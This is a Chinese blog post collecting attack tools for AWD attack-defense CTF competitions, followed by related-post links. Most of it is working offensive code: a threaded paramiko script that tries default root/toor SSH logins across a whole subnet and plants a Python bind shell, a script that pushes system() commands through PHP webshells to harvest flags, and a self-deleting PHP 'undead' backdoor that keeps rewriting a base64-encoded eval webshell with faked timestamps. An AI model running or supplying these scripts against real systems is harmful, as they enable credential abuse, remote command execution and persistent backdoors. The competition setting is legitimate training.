最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本

以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~

这里从各种情景和需求中去总结工具和脚本的使用

 

情景一 默认SSH密码批量反弹shell

官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登陆别人的靶机

#-*- coding:utf-8 -*-
import paramiko ip = '192.168.1.137'
port = ''
username = 'root'
passwd = 'toor'
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):
port = int(port)
ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=port, username=username, password=passwd) stdin,stdout,stderr = ssh.exec_command(cmd) result = stdout.read()
if not result :
print("无结果!")
result = stderr.read()
ssh.close() return result.decode() a = ssh_base_pwd(ip,port,username,passwd)
print(a)

执行命令可以是写webshell或着直接查看flag 并返回提交

这里献上自己写的批量ssh登录并反弹python shell

#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python q=queue.Queue()
#lock = threading.Lock() # ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):
port = int(port)
ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=port, username=username, password=passwd) stdin,stdout,stderr = ssh.exec_command(cmd) result = stdout.read()
if not result :
result = stderr.read()
ssh.close() return result.decode() def main(x):
shell = '''
#服务器端
import socket
import os
s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接
s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
con,addr=s.accept() #接受一个客户端的连接
#print(con,addr) for i in range(10):
cmd=con.recv(1024)
print(cmd)
command=cmd.decode()
if command.startswith('cd'):
os.chdir(command[2:].strip()) #切换路径
result=os.getcwd() #显示路径
else:
result=os.popen(command).read()
if result:
con.send(result.encode())
else:
con.send(b'OK!')
'''
cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'
port = ''
username = 'root'
passwd = 'toor' ip = '192.168.1.{}'.format(x)
q.put(ip.strip(),block=True, timeout=None)
ip_demo=q.get()
#判断是否成功
try:
#lock.acquire()
res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
if res:
print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
#lock.release()
ssh_base_pwd(ip_demo,port,username,passwd,cmd)
except:
print("[ - ]Ip: %s" % ip_demo +" is Failed")
if x > 255:
print("Finshed!!!!!!!!")
q.task_done() #线程队列部分
th=[]
th_num=255
for x in range(th_num):
t=threading.Thread(target=main,args=(x,))
th.append(t)
for x in range(th_num):
th[x].start()
for x in range(th_num):
th[x].join() #q.join()所有任务完成

情景二 dump源码

原因不说了

scp -r -P Port remote_username@remote_ip:remote_folder local_file

情景三 利用shell批量getflag

在有批量shell后 需要连接shell 批量得到flag并提交

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64,time #利用一句话木马得到flag #加载一句话地址的文件
def shell_list(filepath):
#格式 http://192.168.174.128/test.php?x=
#返回列表
try :
with open(filepath,encoding='utf-8') as f:
data = f.readlines()
return data
except :
print("File"+filepath+" Not Found!")
sys.exit() def getflag(filepath):
file = './flag'+str(time.time())[-5:]+'.txt'
#加载shell地址
list = shell_list(filepath)
#访问 执行查看flag命令 linux就是cat
cmd = "type flag.txt"
getflag_cmd ="echo system(\"%s\");"%cmd
for url in list:
url = url.strip('\r\n') + getflag_cmd
try:
res = requests.get(url=url,timeout=5)
except:
print(url+"[ - ] request timeout [ - ]")
if res.content:
content = str(res.content,'utf-8')
try :
#把得到的flag存到flag文件再批量提交
with open(file,'a',encoding='utf-8') as f:
f.writelines(content+"\n")
except :
print("写flag.txt文件失败!!")
sys.exit()
print("[+] getflag sucessed! flag文件:" +file)
return file #批量提交flag
def sentflag(filepath,url):
filename = getflag(filepath)#返回存放flag的地址
#读取存放flag文件
with open(filename,'r',encoding='utf-8') as f:
flags = f.readlines()
for flag in flags:
links = url + flag.strip('\n')
try :
res = requests.get(url=links,timeout=3)
if res.status_code==200 :
print("[ + ] Send Flag %s Success [ + ]") % flag
except :
print("[ - ] Send Flag Failed [ - ]")
sys.exit() #第一个参数需要一个存放shell的地址,格式 http://192.168.174.128/test.php?x=
#第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx
filepath = './webshell.txt'
url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'
sentflag(filepath,url)

情景四 批量利用一句话木马种植不死马

主要是用来权限维持

分享一个自己写的不死马:

<?php
//qing@3389..
error_reporting(0);
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__); //删除自身 $file = '.config.php';
$code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4=');
while(true) {
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file, $code);
}
system('chmod 777 .config.php');
touch(".config.php",mktime(20,15,1,11,28,2016));
usleep(100);
}
?>

附上批量访问生成不死马脚本:

 删除config马还是会一直生成 

顺便提下不死马的解决方式:

目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果。

AWD攻防工具脚本汇总(一)的更多相关文章

  1. AWD攻防工具脚本汇总(二)

    情景五:批量修改ssh密码 拿到官方靶机第一件事改自己机器的ssh密码,当然也可以改别人的密码~ import paramiko import sys ssh_clients = [] timeout ...

  2. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

  3. Ubunut18 安装docker环境&&AWD攻防平台部署

    docker:有两个版本:docker-ce(社区版)和docker-ee(企业版). 参考官网地址:https://docs.docker.com/engine/installation/linux ...

  4. AWD攻防技战法

    round1 弱口令 cat /etc/passwd  查看用户信息 修改用户密码(passwd  username) 通过ssh弱口令批量getshell  (通过msf的auxiliary/sca ...

  5. PowerShell工具脚本---按行数切割大文本文件

    我编写的PowerShell工具脚本,[按行数切割大(文本)文件],生成n个小文件. 主要目的是为了能够让excel快速处理.或用脚本并发处理文本. 注意: 1 如果有必要,你可以先用其他工具,把大文 ...

  6. 网络攻防工具介绍——Wireshark

    网络攻防工具介绍 Wireshark 简介 Wireshark(前称Ethereal)是一个网络封包分析软件.它是一个理想的开源多平台网络协议分析工具.网络封包分析软件的功能是撷取网络封包,并尽可能显 ...

  7. Ubuntu LTS 系统学习使用体会和实用工具软件汇总 6.04 8.04 10.04 12.04 14.04 16.04

    Ubuntu LTS 系统学习体会和工具软件汇总 6.04 8.04 10.04 12.04 14.04 16.04 ubuntu入门必备pdf:http://download.csdn.net/de ...

  8. DNS 隐蔽通道工具资料汇总

    http://www.cnblogs.com/bonelee/p/7651746.html DNS隧道和工具 内含dns2tcp.iodine.dnscat2工具的简单使用说明 iodine工具的使用 ...

  9. (转载)android 一些工具类汇总

    android 一些工具类汇总 作者:曾田生z 字体:[增加 减小] 类型:转载 时间:2016-08-14我要评论 本文给大家汇总介绍了一些常用的Android工具类,非常的简单实用,有需要的小伙伴 ...

随机推荐

  1. python time.striptime模块用法

    python time模块中strptime用法 time.strptime(string[, format]) 其中string参数即为要深入的日期字符串.format为格式化的日期字符串. %Y ...

  2. Linux 笔记 - 第八章 文档的打包与压缩

    博客地址:http://www.moonxy.com 一.前言 在 Linux 系统中,文件的后缀名没有实际的意义,加或者不加都无所谓.但是为了便于区分,我们习惯在定义文件名时加一个后缀名,比如常见的 ...

  3. preg_relace_callback不起作用匿名函数不启作用替换字符串中的所有图片

    遇到这样的一个需求,即替换新闻正文中的所有图片,将其图片地址补充为完整的地址. 刚开始的时候,采用匿名函数的方法可以使用,但有一个问题,好像是php的匿名函数5.4以前的版本支持的并不好. 然后在内部 ...

  4. Salesforce学习之路-developer篇(一)利用VS Code结合Git开发Salesforce

    Part 1: 从Git中克隆代码到本地 git clone https://github.com/git/git Part 2: 在VS Code中安装Salesforce和Git插件 在VS Co ...

  5. 词义消除歧义NLP项目实验

    词义消除歧义NLP项目实验 本项目主要使用https://github.com/alvations/pywsd 中的pywsd库来实现词义消除歧义 目前,该库一部分已经移植到了nltk中,为了获得更好 ...

  6. [LeetCode]singleNumber

    题目:singleNumber Given an array of integers, every element appears twice except for one. Find that si ...

  7. 快速整理代码(c#)

    今天写代码发现有些代码行参差不齐,空行又多,整理看起来丑的不行,于是上网搜了下代码整理的快捷方式以作记录 这是整理之前,乱糟糟的(故意打乱为了节目效果) 第一步:Ctrl+a  (全选代码) 第二部: ...

  8. Dungeon Master POJ-2251 三维BFS

    题目链接:http://poj.org/problem?id=2251 题目大意 你被困在了一个三维的迷宫,找出能通往出口的最短时间.如果走不到出口,输出被困. 思路 由于要找最短路径,其实就是BFS ...

  9. 【已解决】关于IDEA中 Tomcat 控制台打印日志中文乱码的解决

    在 Idea 上面使用 Tomcat 时,发现控制台打印信息的时候,出行中文乱码问题; 可以通过以下几种解决办法 1:在-Dfile.encoding=UTF-8 在vm中设置编码方式 2.然后从Fi ...

  10. 基于Linux系统--web环境搭建

    上线部署文档 数据库部分1.下载Mysql服务    #yum  install  mysql-server 2.更改             /etc/my.cnf 3.启动Mysql        ...